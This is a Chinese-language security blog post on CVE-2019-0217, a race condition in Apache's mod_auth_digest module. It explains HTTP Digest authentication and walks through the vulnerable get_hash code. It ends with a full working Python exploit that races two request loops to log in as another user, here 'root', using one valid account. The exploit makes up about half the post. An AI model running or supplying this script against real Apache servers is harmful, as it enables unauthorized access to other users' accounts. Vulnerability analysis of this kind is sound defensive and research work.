简析Apache mod_auth_digest模块条件竞争漏洞(CVE-2019-0217 with exp)

漏洞背景

Simon Kappel在1月29日向apache报告了该漏洞的存在,详细描述如下

When there are requests made from multiple different users
on the same host to the same protection space, a race condition occurs
so that the realmhash from another user may sometimes
be used for validation when comparing digest with
expected digest.

I can reproduce this by running two testscripts which repeatedly requests a resource using different users.

script1:
while 1
curl -u test:test --digest "http:///cgi/mycgi.cgi"

script2:
while 1
curl -u test2:test2 --digest" http:///cgi/mycgi.cgi"

Sometimes the digest module will claim that there is a password mismatch APLOGNO(01792).

Debugging this i found that the realmhash (ha1) used to compare digests was sometimes from the wrong user.

Digest Access Authentication(摘要访问认证)

Digest认证是试图解决Basic认证的诸多缺陷而设计的一种Web服务器网页浏览器进行认证信息协商的方法。它在密码发出前,先对其应用哈希函数,这相对于HTTP基本认证发送明文而言,更安全。

基本流程

  1. 客户端请求一个需要认证的页面,但是不提供用户名密码
GET /dir/index.html HTTP/1.0
Host: localhost
  1. 服务器返回401 "Unauthorized" 响应代码,并提供认证域(realm),以及一个随机生成的、只使用一次的数值,称为密码随机数 nonce
HTTP/1.0 401 Unauthorized
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
WWW-Authenticate: Digest realm="testrealm@host.com",
                        qop="auth,auth-int",
                        nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
                        opaque="5ccc069c403ebaf9f0171e9517f40e41"
Content-Type: text/html
Content-Length: 311

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
 "[http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd](http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd)">
<HTML>
  <HEAD>
    <TITLE>Error</TITLE>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
  </HEAD>
  <BODY><H1>401 Unauthorized.</H1></BODY>
</HTML>

客户端返回认证参数

GET /dir/index.html HTTP/1.0
Host: localhost
Authorization: Digest username="Mufasa",
                     realm="testrealm@host.com",
                     nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",
                     uri="/dir/index.html",
                     qop=auth,
                     nc=00000001,
                     cnonce="0a4f113b",
                     response="6629fae49393a05397450978507c4ef1",
                     opaque="5ccc069c403ebaf9f0171e9517f40e41"

服务器响应,认证成功或失败

HTTP/1.0 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:27:03 GMT
Content-Type: text/html
Content-Length: 7984

基本参数

  • WWW-Authenticate:服务端发送的认证质询头部
  • Authentication-Info:服务端发送的认证响应头部,包含nextnonce、rspauth响应摘要等
  • realm:授权域,至少应该包含主机名
  • domain:授权访问URIs列表,项与项之间以空格符分隔
  • qop:质量保护,值为auth或auth-int或[token],auth-int包含对实体主体做完整性校验
  • nonce:服务端产生的随机数,用于增加摘要生成的复杂性.另外,nonce本身可用于防止重放攻击,用于实现服务端对客户端的认证。RFC 2617 建议采用这个随机数计算公式:nonce = BASE64(time-stamp MD5(time-stamp “:” ETag “:” private-key))

  • opaque:这是一个不透明的数据字符串,在盘问中发送给客户端,客户端会将这个数据字符串再发送回服务器。

  • stale:nonce过期标志,值为true或false
  • algorithm:摘要算法,值为MD5或MD5-sess或[token],默认为MD5

  • cnonce:客户端产生的随机数,用于客户端对服务器的认证。

  • nc:当服务端开启qop时,客户端才需要发送nc(nonce-count)。服务端能够通过维护nc来检测用当前nonce标记的请求重放。如果相同的nc出现在用当前nonce标记的两次请求中,那么这两次请求即为重复请求。

RFC 2069中response的产生过程比较简单:

\mathrm{HA1} = \mathrm{MD5}\Big(\mathrm{A1}\Big) = \mathrm{MD5}\Big( \mathrm{username} : \mathrm{realm} : \mathrm{password} \Big)
\mathrm{HA2} = \mathrm{MD5}\Big(\mathrm{A2}\Big) = \mathrm{MD5}\Big( \mathrm{method} : \mathrm{digestURI} \Big)
\mathrm{response} = \mathrm{MD5}\Big( \mathrm{HA1} : \mathrm{nonce} : \mathrm{HA2} \Big)

RFC 2069 随后被 RFC 2617取代。RFC 2617 引入了一系列安全增强的选项:“保护质量”(qop)、nc、以及cnonce,这里不再细述

源码分析

mod_auth_digest模块的主要认证流程在static int authenticate_digest_user(request_rec *r)函数内

//取出client的响应
resp = (digest_header_rec *) ap_get_module_config(mainreq->request_config,&auth_digest_module);
resp->needed_auth = 1;
realm = ap_auth_name(r);

/* get our conf */
//取出服务器的配置信息
conf = (digest_config_rec *) ap_get_module_config(r->per_dir_config,&auth_digest_module);

...

//判断用户是否存在
return_code = get_hash(r, r->user, conf);

...

//根据client的响应,选择相应的处理方法
//如果是rfc-2069标准,就调用old_digest计算response是否正确
if (strcmp(resp->digest, old_digest(r, resp, conf->ha1))) {
	ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01792)
	"user %s: password mismatch: %s", r->user,r->uri);
    	note_digest_auth_failure(r, conf, resp, 0);
	return HTTP_UNAUTHORIZED;
}

...
//认证完成
return OK;

在fix前的get_hash函数,流程主要如下

...

/* We expect the password to be md5 hash of user:realm:password */
auth_result = provider->get_realm_hash(r, user, ap_auth_name(r),&password);

...

//将该用户ha1的conf->ha1,并将其作为old_digest的参数
if (auth_result == AUTH_USER_FOUND) {
	conf->ha1 = password;
}
return auth_result;

在多线程环境下,多个用户同时进行认证,conf->ha1的值在传进old_digest/new_digest之前就可能已经被覆盖为其他用户的value,这个问题可以被用于越权操作
例如,恶意攻击者拥有一个有效的普通用户身份user,若同时发送大量user1与user2的认证请求,有可能在user2的认证过程中会产生conf->ha1的值被覆盖成user1的ha1的情况,从而实现用user1登陆到user2

漏洞exp

#!/usr/bin/python3
__license__     = "MIT License",
__author__      = "Jinwen Zhou <admin@potatso.xyz>"

from requests.auth import HTTPDigestAuth
import os
import re
import time
import hashlib
import threading
import warnings
from base64 import b64encode
import requests
from requests.compat import urlparse, str, basestring
from requests.cookies import extract_cookies_to_jar
from requests._internal_utils import to_native_string
from requests.utils import parse_dict_header
url = 'http://127.0.0.1/file2'


class AttackAuth(HTTPDigestAuth):
    def __init__(self, username, valid_username, valid_password):
        self.valid_username = valid_username
        self.valid_password = valid_password
        super().__init__(username, password="iwillhackyou")

    def build_digest_header(self, method, url):
        """
        :rtype: str
        """

        realm = self._thread_local.chal['realm']
        nonce = self._thread_local.chal['nonce']
        qop = self._thread_local.chal.get('qop')
        algorithm = self._thread_local.chal.get('algorithm')
        opaque = self._thread_local.chal.get('opaque')
        hash_utf8 = None

        if algorithm is None:
            _algorithm = 'MD5'
        else:
            _algorithm = algorithm.upper()
        # lambdas assume digest modules are imported at the top level
        if _algorithm == 'MD5' or _algorithm == 'MD5-SESS':
            def md5_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.md5(x).hexdigest()
            hash_utf8 = md5_utf8
        elif _algorithm == 'SHA':
            def sha_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.sha1(x).hexdigest()
            hash_utf8 = sha_utf8
        elif _algorithm == 'SHA-256':
            def sha256_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.sha256(x).hexdigest()
            hash_utf8 = sha256_utf8
        elif _algorithm == 'SHA-512':
            def sha512_utf8(x):
                if isinstance(x, str):
                    x = x.encode('utf-8')
                return hashlib.sha512(x).hexdigest()
            hash_utf8 = sha512_utf8

        def KD(s, d): return hash_utf8("%s:%s" % (s, d))

        if hash_utf8 is None:
            return None

        # XXX not implemented yet
        entdig = None
        p_parsed = urlparse(url)
        #: path is request-uri defined in RFC 2616 which should not be empty
        path = p_parsed.path or "/"
        if p_parsed.query:
            path += '?' + p_parsed.query

        A1 = '%s:%s:%s' % (self.valid_username, realm, self.valid_password)
        A2 = '%s:%s' % (method, path)

        HA1 = hash_utf8(A1)
        HA2 = hash_utf8(A2)

        if nonce == self._thread_local.last_nonce:
            self._thread_local.nonce_count += 1
        else:
            self._thread_local.nonce_count = 1
        ncvalue = '%08x' % self._thread_local.nonce_count
        s = str(self._thread_local.nonce_count).encode('utf-8')
        s += nonce.encode('utf-8')
        s += time.ctime().encode('utf-8')
        s += os.urandom(8)

        cnonce = (hashlib.sha1(s).hexdigest()[: 16])
        if _algorithm == 'MD5-SESS':
            HA1 = hash_utf8('%s:%s:%s' % (HA1, nonce, cnonce))

        if not qop:
            respdig = KD(HA1, "%s:%s" % (nonce, HA2))
        elif qop == 'auth' or 'auth' in qop.split(','):
            noncebit = "%s:%s:%s:%s:%s" % (
                nonce, ncvalue, cnonce, 'auth', HA2
            )
            respdig = KD(HA1, noncebit)
        else:
            # XXX handle auth-int.
            return None

        self._thread_local.last_nonce = nonce

        # XXX should the partial digests be encoded too?
        base = 'username="%s", realm="%s", nonce="%s", uri="%s", ' \
               'response="%s"' % (self.username, realm, nonce, path, respdig)
        if opaque:
            base += ', opaque="%s"' % opaque
        if algorithm:
            base += ', algorithm="%s"' % algorithm
        if entdig:
            base += ', digest="%s"' % entdig
        if qop:
            base += ', qop="auth", nc=%s, cnonce="%s"' % (ncvalue, cnonce)

        return 'Digest %s' % (base)

def exploit():
    while True:
        r=requests.get(url, auth=AttackAuth('root', 'john', '123456'))  # attack_user,valid_user,valid_password
        if r.status_code == 200:
            print ("exploit success!!! Let's see what we get")
            print (r.content)

def race():
    while True:
        requests.get(url, auth=HTTPDigestAuth('john', '123456'))

if __name__ == "__main__":
    pid = os.fork()
    if pid == 0:
        exploit()
    else:
        race()

特别感谢

本文关于Digest认证的描述主要参考了HTTP摘要认证HTTP认证模式:Basic and Digest Access Authentication两篇文章,受益匪浅,特别感谢

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据